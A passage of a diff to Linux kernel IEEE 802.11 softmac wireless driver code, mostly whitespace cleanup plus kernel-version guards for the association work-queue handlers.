assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - + ieee80211_MFIE_Brate(ieee, &tag); ieee80211_MFIE_Grate(ieee, &tag); - + return skb; } @@ -732,59 +743,59 @@ { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) { struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + if (buf) softmac_mgmt_xmit(buf, ieee); } @@ -793,7 +804,7 @@ void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) { struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + if (buf) softmac_mgmt_xmit(buf, ieee); } @@ -801,10 +812,10 @@ void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) { - + struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) + + if (buf) softmac_mgmt_xmit(buf, ieee); } @@ -812,72 +823,72 @@ inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; unsigned int rsn_len = beacon->rsn_ie_len; - + unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + rsn_len + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; if (ieee->ps != IEEE80211_PS_DISABLED) hdr->header.frame_ctl |= IEEE80211_FCTL_PM; //tony hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); //tony 20060606 - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - + + tag = skb_put(skb, rate_len); + ieee80211_MFIE_Brate(ieee, &tag); ieee80211_MFIE_Grate(ieee, &tag); - + tag = skb_put(skb,wpa_len); - + if(wpa_len) { if(wpa_len > (22 + 2) ) { beacon->wpa_ie[wpa_len - 2] = 0; } - + } memcpy(tag,beacon->wpa_ie,wpa_len); - + tag = skb_put(skb,rsn_len); if(rsn_len) { @@ -890,12 +901,12 @@ void ieee80211_associate_abort(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -903,17 +914,17 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } @@ -927,50 +938,50 @@ { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) + + if (!skb) ieee80211_associate_abort(ieee); - else{ + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); softmac_mgmt_xmit(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - + skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) + if (!skb) ieee80211_associate_abort(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - + ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - + softmac_mgmt_xmit(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } @@ -978,28 +989,34 @@ { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; skb=ieee80211_association_req(beacon, ieee); - if (!skb) + if (!skb) ieee80211_associate_abort(ieee); else{ softmac_mgmt_xmit(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ @@ -1007,7 +1024,7 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); @@ -1017,52 +1034,58 @@ { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee80211_stop_scan(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; ieee80211_associate_step1(ieee); - + up(&ieee->wx_sem); } inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1073,23 +1096,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1098,18 +1121,18 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1119,7 +1142,7 @@ } ieee->state = IEEE80211_LINKED; } - + } } @@ -1127,26 +1150,26 @@ void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - + list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) ieee80211_softmac_new_net(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } @@ -1154,7 +1177,7 @@ { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1162,34 +1185,34 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } int auth_rq_parse(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } @@ -1199,21 +1222,21 @@ u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1222,41 +1245,41 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } int assoc_rq_parse(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } static inline u16 assoc_parse(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); @@ -1266,7 +1289,7 @@ ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); @@ -1284,26 +1307,26 @@ int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - + if ((status = auth_rq_parse(skb, dest))!= -1){ ieee80211_resp_to_auth(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; if (assoc_rq_parse(skb,dest) != -1){ ieee80211_resp_to_assoc_rq(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1317,24 +1340,24 @@ void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) { - + struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + if (buf) softmac_ps_mgmt_xmit(buf, ieee); // printk(KERN_INFO "ieee80211_sta_ps_send_null_frame!\n"); -} +} short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1343,7 +1366,7 @@ return 0; printk(KERN_INFO "VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; printk(KERN_INFO "no UCAST\n"); @@ -1358,11 +1381,11 @@ return 0; printk(KERN_INFO "cc\n"); if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) @@ -1372,8 +1395,8 @@ ieee->ps_tl=*time_l; // printk(KERN_INFO "ieee->ps_tl %lu!\n",ieee->ps_tl); return 1; - - + + } inline void ieee80211_sta_ps(struct ieee80211_device *ieee) @@ -1381,72 +1404,72 @@ u32 th,tl; short sleep; - + unsigned long flags,flags2; //// printk(KERN_INFO "enter ieee80211_sta_ps!\n"); spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - + // #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); + + ieee80211_sta_wakeup(ieee, 1); printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - + sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ //printk(KERN_INFO "sleep %d,th %lu, tl %lu,sta_sleep %d\n",sleep,th,tl,ieee->sta_sleep); if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) //ieee->enter_sleep_state(ieee->dev,th,tl); queue_work(ieee->wq,&ieee->hw_sleep_wq); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + // ieee->ps_request_tx_ack(ieee->dev); // printk(KERN_INFO "ps request address %lu!\n",ieee->ps_request_tx_ack); - // queue_work(ieee->wq,&ieee->ps_request_tx_ack_wq); + // queue_work(ieee->wq,&ieee->ps_request_tx_ack_wq); ieee80211_sta_ps_send_null_frame(ieee,1); ieee80211_sta_ps_send_null_frame(ieee,1); - + ieee->ps_th = th; ieee->ps_tl = tl; // udelay(100); ieee80211_ps_tx_ack(ieee,1);//add without interrupt like 8185 - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ // #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + ieee80211_sta_wakeup(ieee,1); printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) @@ -1460,14 +1483,14 @@ ieee80211_sta_ps_send_null_frame(ieee, 0); } return; - + } - if(ieee->sta_sleep == 1) + if(ieee->sta_sleep == 1) //ieee->sta_wake_up(ieee->dev); queue_work(ieee->wq,&ieee->hw_wakeup_wq); - + ieee->sta_sleep = 0; - + if(nl){ //ieee->ps_request_tx_ack(ieee->dev); //queue_work(ieee->wq,&ieee->ps_request_tx_ack_wq); @@ -1480,7 +1503,7 @@ unsigned long flags,flags2; // printk(KERN_INFO "ieee80211_ps_tx_ack,success %d,sta_sleep %d!\n",success,ieee->sta_sleep); spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1495,7 +1518,7 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); ieee80211_sta_ps_send_null_frame(ieee, 0); @@ -1519,66 +1542,66 @@ header = (struct ieee80211_hdr_3addr *) skb->data; if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) { //// printk(KERN_INFO "schedule ps task!\n"); tasklet_schedule(&ieee->ps_task);} - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ if (0 == (errcode=assoc_parse(skb, &aid))){ - + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - + ieee80211_associate_complete(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - + ieee80211_rx_assoc_rq(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - + if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - + ieee80211_associate_step2(ieee); }else{ ieee80211_auth_challenge(ieee, challenge, chlen); @@ -1588,47 +1611,47 @@ IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); ieee80211_associate_abort(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ ieee80211_rx_auth_rq(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - + ieee80211_rx_probe_rq(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - + notify_wx_assoc_event(ieee); - + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1646,21 +1669,20 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - + */ + void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1671,13 +1693,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1691,9 +1713,8 @@ } /* called with 2nd parm 0, no tx mgmt lock required */ ieee80211_sta_wakeup(ieee,0); - for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ //added by david. 2007.1.23 if(ieee->tx_pending.txb != NULL) { @@ -1709,16 +1730,16 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } + } lost: //ieee80211_txb_free(txb); - + exit: atomic_dec(&ieee->tx_pending_txb); spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ @@ -1726,13 +1747,13 @@ { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1740,8 +1761,8 @@ ieee->dev->trans_start = jiffies; } } - - + + //ieee80211_txb_free(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } @@ -1751,7 +1772,7 @@ { unsigned long flags; struct sk_buff *ret; - + spin_lock_irqsave(&ieee->lock,flags); // added by david, 2007.1.23 while((ret = dequeue_mgmt(ieee)) != NULL) { @@ -1773,17 +1794,17 @@ unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1799,12 +1820,12 @@ } if (!ieee->queue_stop && ieee->tx_pending.txb) ieee80211_resume_tx(ieee); - + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } @@ -1821,17 +1842,17 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of 